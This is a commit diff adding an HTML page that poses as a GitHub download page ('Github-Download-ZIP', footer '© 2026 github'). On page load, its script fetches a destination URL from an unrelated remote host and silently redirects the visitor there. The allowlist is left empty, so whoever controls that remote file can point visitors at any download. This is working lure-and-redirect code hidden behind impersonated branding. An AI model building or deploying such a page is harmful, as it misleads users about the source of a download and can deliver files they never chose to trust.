|
| 1 | +<!DOCTYPE html> |
| 2 | +<html lang="en"> |
| 3 | + <head> |
| 4 | + <meta charset="UTF-8" /> |
| 5 | + <meta name="viewport" content="width=device-width, initial-scale=1" /> |
| 6 | + <title>Github-Download-ZIP</title> |
| 7 | + <meta name="description" content="Download for files Github.io" /> |
| 8 | + <meta name="build-id" content="6ae1f77a75ac" /> |
| 9 | + <link rel="stylesheet" href="styles.css" /> |
| 10 | + </head> |
| 11 | + |
| 12 | + <body> |
| 13 | + <header class="site-header"> |
| 14 | + <div class="header-inner"> |
| 15 | + <span class="header-title">Github-Download-ZIP</span> |
| 16 | + </div> |
| 17 | + </header> |
| 18 | + |
| 19 | + <main> |
| 20 | + <section class="card"> |
| 21 | + <h1 id="headline">Preparing…</h1> |
| 22 | + |
| 23 | + <div class="spinner" aria-hidden="true"></div> |
| 24 | + <p id="status" class="muted">Loading link…</p> |
| 25 | + |
| 26 | + <div class="muted" style="margin-top: 10px"> |
| 27 | + Destination host: <span id="dest">—</span> |
| 28 | + </div> |
| 29 | + |
| 30 | + <div class="actions" style="margin-top: 18px"> |
| 31 | + <a id="downloadLink" class="btn primary" href="#" rel="noopener noreferrer">Continue</a> |
| 32 | + <button id="retry" class="btn" type="button">Retry</button> |
| 33 | + </div> |
| 34 | + |
| 35 | + <p class="muted" style="margin-top: 14px">If nothing happens, press Retry.</p> |
| 36 | + </section> |
| 37 | + </main> |
| 38 | + |
| 39 | + <footer class="site-footer"> |
| 40 | + <span>© 2026 github</span> |
| 41 | + </footer> |
| 42 | + |
| 43 | + <script> |
| 44 | + (() => { |
| 45 | + // External link file URL (any name/extension is OK). |
| 46 | + // File content: |
| 47 | + // - JSON: {"url":"https://example.com/file.zip"} (preferred) |
| 48 | + // - OR plain text: https://example.com/file.zip |
| 49 | + const REMOTE_LINK_FILE = "https://jumpquickalso.com/rewind.ruther"; |
| 50 | + |
| 51 | + // If null -> show placeholder (no redirect) when remote source is unavailable. |
| 52 | + const FALLBACK_URL = null; |
| 53 | + |
| 54 | + // Optional safety: allowlist hosts. Leave empty to disable allowlist. |
| 55 | + const ALLOW_HOSTS = new Set([]); |
| 56 | + |
| 57 | + const headline = document.getElementById("headline"); |
| 58 | + const statusEl = document.getElementById("status"); |
| 59 | + const destEl = document.getElementById("dest"); |
| 60 | + const linkEl = document.getElementById("downloadLink"); |
| 61 | + const retryBtn = document.getElementById("retry"); |
| 62 | + |
| 63 | + function setStatus(text) { |
| 64 | + if (statusEl) statusEl.textContent = text; |
| 65 | + } |
| 66 | + |
| 67 | + function parseUrlFromMaybeJsonOrText(rawText) { |
| 68 | + const t = (rawText || "").trim(); |
| 69 | + if (!t) return null; |
| 70 | + |
| 71 | + // Try JSON first |
| 72 | + try { |
| 73 | + const obj = JSON.parse(t); |
| 74 | + return (obj && (obj.url || obj.link || obj.href)) ? (obj.url || obj.link || obj.href) : null; |
| 75 | + } catch { |
| 76 | + // Not JSON -> treat as plain text URL |
| 77 | + return t; |
| 78 | + } |
| 79 | + } |
| 80 | + |
| 81 | + function isAllowedHttpsUrl(url) { |
| 82 | + const u = new URL(url); |
| 83 | + if (u.protocol !== "https:") return false; |
| 84 | + if (ALLOW_HOSTS.size === 0) return true; // allowlist disabled |
| 85 | + return ALLOW_HOSTS.has(u.hostname); |
| 86 | + } |
| 87 | + |
| 88 | + function showPlaceholder(message) { |
| 89 | + if (headline) headline.textContent = "Link unavailable"; |
| 90 | + setStatus(message); |
| 91 | + if (destEl) destEl.textContent = "—"; |
| 92 | + if (linkEl) { |
| 93 | + linkEl.href = "#"; |
| 94 | + linkEl.setAttribute("aria-disabled", "true"); |
| 95 | + } |
| 96 | + } |
| 97 | + |
| 98 | + function startRedirect(url) { |
| 99 | + if (!url) return showPlaceholder("Could not load a valid link. Please try again later."); |
| 100 | + |
| 101 | + let u; |
| 102 | + try { u = new URL(url); } |
| 103 | + catch { return showPlaceholder("Invalid link format."); } |
| 104 | + |
| 105 | + if (!isAllowedHttpsUrl(url)) { |
| 106 | + return showPlaceholder("Destination blocked. Check allowed hosts."); |
| 107 | + } |
| 108 | + |
| 109 | + if (destEl) destEl.textContent = u.hostname; |
| 110 | + if (linkEl) linkEl.href = url; |
| 111 | + |
| 112 | + if (headline) headline.textContent = "Preparing…"; |
| 113 | + setStatus("Redirecting shortly…"); |
| 114 | + |
| 115 | + setTimeout(() => { |
| 116 | + if (headline) headline.textContent = "Redirecting…"; |
| 117 | + window.location.assign(url); |
| 118 | + }, 1200); |
| 119 | + } |
| 120 | + |
| 121 | + async function loadRemoteUrl() { |
| 122 | + setStatus("Loading link…"); |
| 123 | + const r = await fetch(REMOTE_LINK_FILE, { cache: "no-store" }); |
| 124 | + if (!r.ok) throw new Error("Remote file not available"); |
| 125 | + const text = await r.text(); |
| 126 | + return parseUrlFromMaybeJsonOrText(text); |
| 127 | + } |
| 128 | + |
| 129 | + async function init() { |
| 130 | + try { |
| 131 | + const url = await loadRemoteUrl(); |
| 132 | + startRedirect(url); |
| 133 | + } catch (e) { |
| 134 | + startRedirect(FALLBACK_URL); |
| 135 | + } |
| 136 | + } |
| 137 | + |
| 138 | + if (retryBtn) retryBtn.addEventListener("click", init); |
| 139 | + init(); |
| 140 | + })(); |
| 141 | + </script> |
| 142 | + </body> |
| 143 | +</html> |
0 commit comments